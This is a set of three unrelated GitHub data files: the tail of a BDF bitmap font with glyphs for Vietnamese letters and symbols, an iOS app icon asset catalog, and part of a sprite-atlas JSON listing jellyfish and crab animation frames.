80
80
80
80
00
80
ENDCHAR
STARTCHAR uni1ECC
ENCODING 7884
SWIDTH 778 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
70
D8
C8
C8
D8
70
00
20
ENDCHAR
STARTCHAR uni1ECD
ENCODING 7885
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
60
D0
D0
D0
60
00
40
ENDCHAR
STARTCHAR uni1ED0
ENCODING 7888
SWIDTH 778 0
DWIDTH 6 0
BBX 5 12 0 0
BITMAP
10
20
00
20
50
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR uni1ED1
ENCODING 7889
SWIDTH 611 0
DWIDTH 5 0
BBX 4 11 0 0
BITMAP
10
20
00
20
50
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR uni1ED2
ENCODING 7890
SWIDTH 778 0
DWIDTH 6 0
BBX 5 12 0 0
BITMAP
40
20
00
20
50
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR uni1ED3
ENCODING 7891
SWIDTH 611 0
DWIDTH 5 0
BBX 4 11 0 0
BITMAP
40
20
00
20
50
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR uni1ED6
ENCODING 7894
SWIDTH 778 0
DWIDTH 6 0
BBX 5 12 0 0
BITMAP
28
50
00
20
50
00
70
D8
C8
C8
D8
70
ENDCHAR
STARTCHAR uni1ED7
ENCODING 7895
SWIDTH 611 0
DWIDTH 5 0
BBX 5 11 0 0
BITMAP
28
50
00
20
50
00
60
D0
D0
D0
60
ENDCHAR
STARTCHAR uni1ED8
ENCODING 7896
SWIDTH 778 0
DWIDTH 6 0
BBX 5 11 0 -2
BITMAP
20
50
00
70
D8
C8
C8
D8
70
00
20
ENDCHAR
STARTCHAR uni1ED9
ENCODING 7897
SWIDTH 611 0
DWIDTH 5 0
BBX 4 10 0 -2
BITMAP
40
A0
00
60
D0
D0
D0
60
00
40
ENDCHAR
STARTCHAR uni1EDA
ENCODING 7898
SWIDTH 778 0
DWIDTH 6 0
BBX 7 9 0 0
BITMAP
08
10
00
72
DA
CC
C8
D8
70
ENDCHAR
STARTCHAR uni1EDB
ENCODING 7899
SWIDTH 611 0
DWIDTH 5 0
BBX 6 8 0 0
BITMAP
10
20
00
64
D4
D8
D0
60
ENDCHAR
STARTCHAR uni1EDC
ENCODING 7900
SWIDTH 778 0
DWIDTH 6 0
BBX 7 9 0 0
BITMAP
20
10
00
72
DA
CC
C8
D8
70
ENDCHAR
STARTCHAR uni1EDD
ENCODING 7901
SWIDTH 611 0
DWIDTH 5 0
BBX 6 8 0 0
BITMAP
20
10
00
64
D4
D8
D0
60
ENDCHAR
STARTCHAR uni1EE0
ENCODING 7904
SWIDTH 778 0
DWIDTH 6 0
BBX 7 9 0 0
BITMAP
14
28
00
72
DA
CC
C8
D8
70
ENDCHAR
STARTCHAR uni1EE1
ENCODING 7905
SWIDTH 611 0
DWIDTH 5 0
BBX 6 8 0 0
BITMAP
28
50
00
64
D4
D8
D0
60
ENDCHAR
STARTCHAR uni1EE2
ENCODING 7906
SWIDTH 778 0
DWIDTH 6 0
BBX 7 8 0 -2
BITMAP
72
DA
CC
C8
D8
70
00
20
ENDCHAR
STARTCHAR uni1EE3
ENCODING 7907
SWIDTH 611 0
DWIDTH 5 0
BBX 6 7 0 -2
BITMAP
64
D4
D8
D0
60
00
20
ENDCHAR
STARTCHAR uni1EE4
ENCODING 7908
SWIDTH 722 0
DWIDTH 6 0
BBX 5 8 0 -2
BITMAP
D8
D8
D8
D8
D8
70
00
20
ENDCHAR
STARTCHAR uni1EE5
ENCODING 7909
SWIDTH 611 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
D0
D0
D0
F0
50
00
20
ENDCHAR
STARTCHAR uni1EE8
ENCODING 7912
SWIDTH 722 0
DWIDTH 6 0
BBX 7 9 0 0
BITMAP
08
10
00
DA
DA
DC
D8
D8
70
ENDCHAR
STARTCHAR uni1EE9
ENCODING 7913
SWIDTH 611 0
DWIDTH 5 0
BBX 6 8 0 0
BITMAP
10
20
00
D4
D4
D8
F0
50
ENDCHAR
STARTCHAR uni1EEA
ENCODING 7914
SWIDTH 722 0
DWIDTH 6 0
BBX 7 9 0 0
BITMAP
20
10
00
DA
DA
DC
D8
D8
70
ENDCHAR
STARTCHAR uni1EEB
ENCODING 7915
SWIDTH 611 0
DWIDTH 5 0
BBX 6 8 0 0
BITMAP
20
10
00
D4
D4
D8
F0
50
ENDCHAR
STARTCHAR uni1EEE
ENCODING 7918
SWIDTH 722 0
DWIDTH 6 0
BBX 7 9 0 0
BITMAP
14
28
00
DA
DA
DC
D8
D8
70
ENDCHAR
STARTCHAR uni1EEF
ENCODING 7919
SWIDTH 611 0
DWIDTH 5 0
BBX 6 8 0 0
BITMAP
28
50
00
D4
D4
D8
F0
50
ENDCHAR
STARTCHAR uni1EF0
ENCODING 7920
SWIDTH 722 0
DWIDTH 6 0
BBX 7 8 0 -2
BITMAP
DA
DA
DC
D8
D8
70
00
20
ENDCHAR
STARTCHAR uni1EF1
ENCODING 7921
SWIDTH 611 0
DWIDTH 5 0
BBX 6 7 0 -2
BITMAP
D4
D4
D8
F0
50
00
20
ENDCHAR
STARTCHAR Ygrave
ENCODING 7922
SWIDTH 667 0
DWIDTH 7 0
BBX 6 9 0 0
BITMAP
20
10
00
EC
68
68
78
30
30
ENDCHAR
STARTCHAR ygrave
ENCODING 7923
SWIDTH 556 0
DWIDTH 5 0
BBX 4 9 0 -1
BITMAP
40
20
00
D0
D0
D0
70
60
60
ENDCHAR
STARTCHAR uni1EF4
ENCODING 7924
SWIDTH 667 0
DWIDTH 7 0
BBX 6 8 0 -2
BITMAP
EC
68
68
78
30
30
00
10
ENDCHAR
STARTCHAR uni1EF5
ENCODING 7925
SWIDTH 556 0
DWIDTH 5 0
BBX 4 8 0 -3
BITMAP
D0
D0
D0
70
60
60
00
20
ENDCHAR
STARTCHAR uni1EF8
ENCODING 7928
SWIDTH 667 0
DWIDTH 7 0
BBX 6 9 0 0
BITMAP
28
50
00
EC
68
68
78
30
30
ENDCHAR
STARTCHAR uni1EF9
ENCODING 7929
SWIDTH 556 0
DWIDTH 5 0
BBX 4 9 0 -1
BITMAP
50
A0
00
D0
D0
D0
70
60
60
ENDCHAR
STARTCHAR uni2000
ENCODING 8192
SWIDTH 500 0
DWIDTH 4 0
BBX 1 1 0 0
BITMAP
00
ENDCHAR
STARTCHAR uni2001
ENCODING 8193
SWIDTH 1000 0
DWIDTH 8 0
BBX 1 1 0 0
BITMAP
00
ENDCHAR
STARTCHAR uni2002
ENCODING 8194
SWIDTH 500 0
DWIDTH 4 0
BBX 1 1 0 0
BITMAP
00
ENDCHAR
STARTCHAR uni2003
ENCODING 8195
SWIDTH 1000 0
DWIDTH 8 0
BBX 1 1 0 0
BITMAP
00
ENDCHAR
STARTCHAR uni2004
ENCODING 8196
SWIDTH 333 0
DWIDTH 3 0
BBX 1 1 0 0
BITMAP
00
ENDCHAR
STARTCHAR uni2005
ENCODING 8197
SWIDTH 250 0
DWIDTH 2 0
BBX 1 1 0 0
BITMAP
00
ENDCHAR
STARTCHAR uni2006
ENCODING 8198
SWIDTH 167 0
DWIDTH 1 0
BBX 1 1 0 0
BITMAP
00
ENDCHAR
STARTCHAR uni2007
ENCODING 8199
SWIDTH 556 0
DWIDTH 5 0
BBX 1 1 0 0
BITMAP
00
ENDCHAR
STARTCHAR uni2008
ENCODING 8200
SWIDTH 278 0
DWIDTH 2 0
BBX 1 1 0 0
BITMAP
00
ENDCHAR
STARTCHAR uni2009
ENCODING 8201
SWIDTH 200 0
DWIDTH 2 0
BBX 1 1 0 0
BITMAP
00
ENDCHAR
STARTCHAR uni200A
ENCODING 8202
SWIDTH 100 0
DWIDTH 1 0
BBX 1 1 0 0
BITMAP
00
ENDCHAR
STARTCHAR uni200B
ENCODING 8203
SWIDTH 0 0
DWIDTH 0 0
BBX 1 1 0 0
BITMAP
00
ENDCHAR
STARTCHAR uni2010
ENCODING 8208
SWIDTH 333 0
DWIDTH 4 0
BBX 3 1 0 2
BITMAP
E0
ENDCHAR
STARTCHAR uni2011
ENCODING 8209
SWIDTH 333 0
DWIDTH 4 0
BBX 3 1 0 2
BITMAP
E0
ENDCHAR
STARTCHAR figuredash
ENCODING 8210
SWIDTH 556 0
DWIDTH 6 0
BBX 6 1 0 3
BITMAP
FC
ENDCHAR
STARTCHAR endash
ENCODING 8211
SWIDTH 556 0
DWIDTH 6 0
BBX 6 1 0 3
BITMAP
FC
ENDCHAR
STARTCHAR emdash
ENCODING 8212
SWIDTH 1000 0
DWIDTH 10 0
BBX 10 1 0 3
BITMAP
FFC0
ENDCHAR
STARTCHAR afii00208
ENCODING 8213
SWIDTH 1000 0
DWIDTH 10 0
BBX 10 1 0 3
BITMAP
FFC0
ENDCHAR
STARTCHAR quoteleft
ENCODING 8216
SWIDTH 278 0
DWIDTH 2 0
BBX 2 3 0 3
BITMAP
40
80
80
ENDCHAR
STARTCHAR quoteright
ENCODING 8217
SWIDTH 278 0
DWIDTH 2 0
BBX 2 3 0 3
BITMAP
40
40
80
ENDCHAR
STARTCHAR quotesinglbase
ENCODING 8218
SWIDTH 278 0
DWIDTH 3 0
BBX 2 3 0 -2
BITMAP
C0
40
80
ENDCHAR
STARTCHAR quotereversed
ENCODING 8219
SWIDTH 278 0
DWIDTH 2 0
BBX 2 3 0 3
BITMAP
80
80
40
ENDCHAR
STARTCHAR quotedblleft
ENCODING 8220
SWIDTH 500 0
DWIDTH 6 0
BBX 5 3 0 5
BITMAP
48
90
D8
ENDCHAR
STARTCHAR quotedblright
ENCODING 8221
SWIDTH 500 0
DWIDTH 6 0
BBX 5 3 0 5
BITMAP
D8
48
90
ENDCHAR
STARTCHAR quotedblbase
ENCODING 8222
SWIDTH 500 0
DWIDTH 6 0
BBX 5 3 0 -2
BITMAP
D8
48
90
ENDCHAR
STARTCHAR uni201F
ENCODING 8223
SWIDTH 500 0
DWIDTH 6 0
BBX 5 3 0 5
BITMAP
D8
90
48
ENDCHAR
STARTCHAR dagger
ENCODING 8224
SWIDTH 556 0
DWIDTH 7 0
BBX 6 10 0 -2
BITMAP
30
30
FC
30
30
30
30
30
30
30
ENDCHAR
STARTCHAR daggerdbl
ENCODING 8225
SWIDTH 556 0
DWIDTH 7 0
BBX 6 10 0 -2
BITMAP
30
30
FC
30
30
30
FC
30
30
30
ENDCHAR
STARTCHAR bullet
ENCODING 8226
SWIDTH 350 0
DWIDTH 4 0
BBX 2 2 1 2
BITMAP
C0
C0
ENDCHAR
STARTCHAR ellipsis
ENCODING 8230
SWIDTH 1000 0
DWIDTH 10 0
BBX 8 1 1 0
BITMAP
DB
ENDCHAR
STARTCHAR perthousand
ENCODING 8240
SWIDTH 1000 0
DWIDTH 11 0
BBX 10 7 0 0
BITMAP
6200
B400
6800
1000
2D80
56C0
8D80
ENDCHAR
STARTCHAR guilsinglleft
ENCODING 8249
SWIDTH 333 0
DWIDTH 5 0
BBX 3 3 1 1
BITMAP
60
C0
60
ENDCHAR
STARTCHAR guilsinglright
ENCODING 8250
SWIDTH 333 0
DWIDTH 5 0
BBX 3 3 1 1
BITMAP
C0
60
C0
ENDCHAR
STARTCHAR fraction
ENCODING 8260
SWIDTH 167 0
DWIDTH 4 0
BBX 5 7 -1 0
BITMAP
08
10
10
20
40
40
80
ENDCHAR
STARTCHAR oneinferior
ENCODING 8321
SWIDTH 333 0
DWIDTH 2 0
BBX 2 4 0 -2
BITMAP
40
C0
40
40
ENDCHAR
STARTCHAR twoinferior
ENCODING 8322
SWIDTH 333 0
DWIDTH 2 0
BBX 2 4 0 -2
BITMAP
C0
40
80
C0
ENDCHAR
STARTCHAR threeinferior
ENCODING 8323
SWIDTH 333 0
DWIDTH 2 0
BBX 2 4 0 -2
BITMAP
C0
C0
40
80
ENDCHAR
STARTCHAR uni20A5
ENCODING 8357
SWIDTH 889 0
DWIDTH 7 0
BBX 6 6 0 0
BITMAP
08
E8
D4
D4
F4
F4
ENDCHAR
STARTCHAR uni20A6
ENCODING 8358
SWIDTH 722 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
C8
F8
E8
F8
D8
C8
ENDCHAR
STARTCHAR uni20A9
ENCODING 8361
SWIDTH 944 0
DWIDTH 9 0
BBX 8 6 0 0
BITMAP
DB
FF
DA
FE
6C
6C
ENDCHAR
STARTCHAR Euro
ENCODING 8364
SWIDTH 722 0
DWIDTH 6 0
BBX 6 6 -1 0
BITMAP
3C
F4
60
F0
64
3C
ENDCHAR
STARTCHAR uni20AD
ENCODING 8365
SWIDTH 722 0
DWIDTH 6 0
BBX 6 6 0 0
BITMAP
D8
D0
FC
F0
D8
CC
ENDCHAR
STARTCHAR uni2103
ENCODING 8451
SWIDTH 1102 0
DWIDTH 9 0
BBX 8 6 0 0
BITMAP
EF
B9
F8
18
19
0F
ENDCHAR
STARTCHAR uni2109
ENCODING 8457
SWIDTH 991 0
DWIDTH 8 0
BBX 7 6 0 0
BITMAP
FE
B8
FE
18
18
18
ENDCHAR
STARTCHAR trademark
ENCODING 8482
SWIDTH 1000 0
DWIDTH 11 0
BBX 9 4 1 3
BITMAP
E880
4D80
4A80
4A80
ENDCHAR
STARTCHAR uni212A
ENCODING 8490
SWIDTH 722 0
DWIDTH 6 0
BBX 6 6 0 0
BITMAP
D8
D0
E0
F0
D8
CC
ENDCHAR
STARTCHAR uni212B
ENCODING 8491
SWIDTH 722 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
50
20
70
D8
D8
F8
D8
D8
ENDCHAR
STARTCHAR uni2132
ENCODING 8498
SWIDTH 611 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
30
30
30
F0
30
F0
ENDCHAR
STARTCHAR universal
ENCODING 8704
SWIDTH 722 0
DWIDTH 6 0
BBX 5 6 0 0
BITMAP
D8
D8
F8
D8
D8
70
ENDCHAR
STARTCHAR existential
ENCODING 8707
SWIDTH 667 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
F0
30
F0
30
30
F0
ENDCHAR
STARTCHAR uni2204
ENCODING 8708
SWIDTH 667 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
F0
30
F0
30
70
F0
ENDCHAR
STARTCHAR minus
ENCODING 8722
SWIDTH 584 0
DWIDTH 6 0
BBX 4 1 1 2
BITMAP
F0
ENDCHAR
STARTCHAR fraction
ENCODING 8725
SWIDTH 167 0
DWIDTH 4 0
BBX 5 7 -1 0
BITMAP
08
10
10
20
40
40
80
ENDCHAR
STARTCHAR periodcentered
ENCODING 8729
SWIDTH 278 0
DWIDTH 2 0
BBX 2 2 0 2
BITMAP
C0
C0
ENDCHAR
STARTCHAR uni2236
ENCODING 8758
SWIDTH 333 0
DWIDTH 2 0
BBX 1 5 0 0
BITMAP
80
80
00
80
80
ENDCHAR
STARTCHAR uni2259
ENCODING 8793
SWIDTH 584 0
DWIDTH 5 0
BBX 4 6 0 1
BITMAP
20
50
00
F0
00
F0
ENDCHAR
STARTCHAR uni225A
ENCODING 8794
SWIDTH 584 0
DWIDTH 5 0
BBX 4 6 0 1
BITMAP
50
20
00
F0
00
F0
ENDCHAR
STARTCHAR notequal
ENCODING 8800
SWIDTH 584 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
10
10
F0
20
F0
40
ENDCHAR
STARTCHAR equivalence
ENCODING 8801
SWIDTH 584 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
F0
00
F0
00
F0
ENDCHAR
STARTCHAR uni2262
ENCODING 8802
SWIDTH 584 0
DWIDTH 5 0
BBX 4 6 0 0
BITMAP
10
F0
20
F0
40
F0
ENDCHAR
STARTCHAR lessequal
ENCODING 8804
SWIDTH 584 0
DWIDTH 4 0
BBX 3 7 0 -2
BITMAP
20
40
80
40
20
00
E0
ENDCHAR
STARTCHAR greaterequal
ENCODING 8805
SWIDTH 584 0
DWIDTH 4 0
BBX 3 7 0 -2
BITMAP
80
40
20
40
80
00
E0
ENDCHAR
STARTCHAR uni226E
ENCODING 8814
SWIDTH 584 0
DWIDTH 4 0
BBX 3 6 0 0
BITMAP
20
20
40
C0
C0
A0
ENDCHAR
STARTCHAR uni226F
ENCODING 8815
SWIDTH 584 0
DWIDTH 4 0
BBX 3 6 0 0
BITMAP
20
A0
40
60
C0
80
ENDCHAR
STARTCHAR uni2270
ENCODING 8816
SWIDTH 584 0
DWIDTH 4 0
BBX 3 7 0 -2
BITMAP
20
60
C0
40
A0
80
E0
ENDCHAR
STARTCHAR uni2271
ENCODING 8817
SWIDTH 584 0
DWIDTH 4 0
BBX 3 7 0 -2
BITMAP
A0
60
60
40
80
80
E0
ENDCHAR
STARTCHAR fi
ENCODING -1
SWIDTH 611 0
DWIDTH 7 0
BBX 7 8 -1 0
BITMAP
36
60
F6
66
66
66
66
66
ENDCHAR
STARTCHAR fl
ENCODING -1
SWIDTH 611 0
DWIDTH 7 0
BBX 7 8 -1 0
BITMAP
36
66
F6
66
66
66
66
66
ENDCHAR
ENDFONT
|
{
"pile_set_name": "Github"
}
|
{
"images": [
{
"size": "20x20",
"idiom": "iphone",
"filename": "[email protected]",
"scale": "2x"
},
{
"size": "20x20",
"idiom": "iphone",
"filename": "[email protected]",
"scale": "3x"
},
{
"size": "29x29",
"idiom": "iphone",
"filename": "icon-29.png",
"scale": "1x"
},
{
"size": "29x29",
"idiom": "iphone",
"filename": "[email protected]",
"scale": "2x"
},
{
"size": "29x29",
"idiom": "iphone",
"filename": "[email protected]",
"scale": "3x"
},
{
"size": "40x40",
"idiom": "iphone",
"filename": "[email protected]",
"scale": "2x"
},
{
"size": "40x40",
"idiom": "iphone",
"filename": "[email protected]",
"scale": "3x"
},
{
"size": "57x57",
"idiom": "iphone",
"filename": "icon-57.png",
"scale": "1x"
},
{
"size": "57x57",
"idiom": "iphone",
"filename": "[email protected]",
"scale": "2x"
},
{
"size": "60x60",
"idiom": "iphone",
"filename": "[email protected]",
"scale": "2x"
},
{
"size": "60x60",
"idiom": "iphone",
"filename": "[email protected]",
"scale": "3x"
},
{
"size": "20x20",
"idiom": "ipad",
"filename": "icon-20-ipad.png",
"scale": "1x"
},
{
"size": "20x20",
"idiom": "ipad",
"filename": "[email protected]",
"scale": "2x"
},
{
"size": "29x29",
"idiom": "ipad",
"filename": "icon-29-ipad.png",
"scale": "1x"
},
{
"size": "29x29",
"idiom": "ipad",
"filename": "[email protected]",
"scale": "2x"
},
{
"size": "40x40",
"idiom": "ipad",
"filename": "icon-40.png",
"scale": "1x"
},
{
"size": "40x40",
"idiom": "ipad",
"filename": "[email protected]",
"scale": "2x"
},
{
"size": "50x50",
"idiom": "ipad",
"filename": "icon-50.png",
"scale": "1x"
},
{
"size": "50x50",
"idiom": "ipad",
"filename": "[email protected]",
"scale": "2x"
},
{
"size": "72x72",
"idiom": "ipad",
"filename": "icon-72.png",
"scale": "1x"
},
{
"size": "72x72",
"idiom": "ipad",
"filename": "[email protected]",
"scale": "2x"
},
{
"size": "76x76",
"idiom": "ipad",
"filename": "icon-76.png",
"scale": "1x"
},
{
"size": "76x76",
"idiom": "ipad",
"filename": "[email protected]",
"scale": "2x"
},
{
"size": "83.5x83.5",
"idiom": "ipad",
"filename": "[email protected]",
"scale": "2x"
},
{
"size": "1024x1024",
"idiom": "ios-marketing",
"filename": "icon-1024.png",
"scale": "1x"
}
],
"info": {
"version": 1,
"author": "icon.wuruihong.com"
}
}
|
{
"pile_set_name": "Github"
}
|
{"frames": [
{
"filename": "blueJellyfish0000",
"frame": {"x":484,"y":770,"w":64,"h":64},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0001",
"frame": {"x":484,"y":836,"w":63,"h":65},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":1,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0002",
"frame": {"x":322,"y":1621,"w":62,"h":65},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0003",
"frame": {"x":386,"y":1637,"w":62,"h":65},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0004",
"frame": {"x":450,"y":1637,"w":62,"h":65},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0005",
"frame": {"x":916,"y":1547,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0006",
"frame": {"x":108,"y":1553,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0007",
"frame": {"x":172,"y":1553,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0008",
"frame": {"x":236,"y":1553,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0009",
"frame": {"x":300,"y":1553,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0010",
"frame": {"x":364,"y":1553,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0011",
"frame": {"x":428,"y":1569,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0012",
"frame": {"x":492,"y":1569,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0013",
"frame": {"x":556,"y":1571,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0014",
"frame": {"x":620,"y":1571,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0015",
"frame": {"x":514,"y":1639,"w":62,"h":65},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0016",
"frame": {"x":352,"y":1032,"w":63,"h":65},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0017",
"frame": {"x":646,"y":745,"w":64,"h":65},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0018",
"frame": {"x":592,"y":1401,"w":63,"h":65},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0019",
"frame": {"x":578,"y":1639,"w":62,"h":65},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0020",
"frame": {"x":684,"y":1572,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0021",
"frame": {"x":2,"y":1593,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0022",
"frame": {"x":748,"y":1603,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0023",
"frame": {"x":812,"y":1603,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0024",
"frame": {"x":876,"y":1615,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0025",
"frame": {"x":940,"y":1615,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0026",
"frame": {"x":66,"y":1621,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0027",
"frame": {"x":130,"y":1621,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0028",
"frame": {"x":194,"y":1621,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0029",
"frame": {"x":258,"y":1621,"w":62,"h":66},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0030",
"frame": {"x":642,"y":1640,"w":62,"h":65},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0031",
"frame": {"x":2,"y":1661,"w":62,"h":65},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "blueJellyfish0032",
"frame": {"x":706,"y":1671,"w":62,"h":65},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":2,"y":0,"w":66,"h":66},
"sourceSize": {"w":66,"h":66}
}
,{
"filename": "crab10000",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10001",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10002",
"frame": {"x":2,"y":1453,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10003",
"frame": {"x":2,"y":1453,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10004",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10005",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10006",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10007",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10008",
"frame": {"x":2,"y":1453,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10009",
"frame": {"x":2,"y":1453,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10010",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
,{
"filename": "crab10011",
"frame": {"x":442,"y":1401,"w":148,"h":82},
"rotated": false,
"trimmed": true,
"spriteSourceSize": {"x":0,"y":0,"w":148,"h":82},
"sourceSize": {"w":148,"h":82}
}
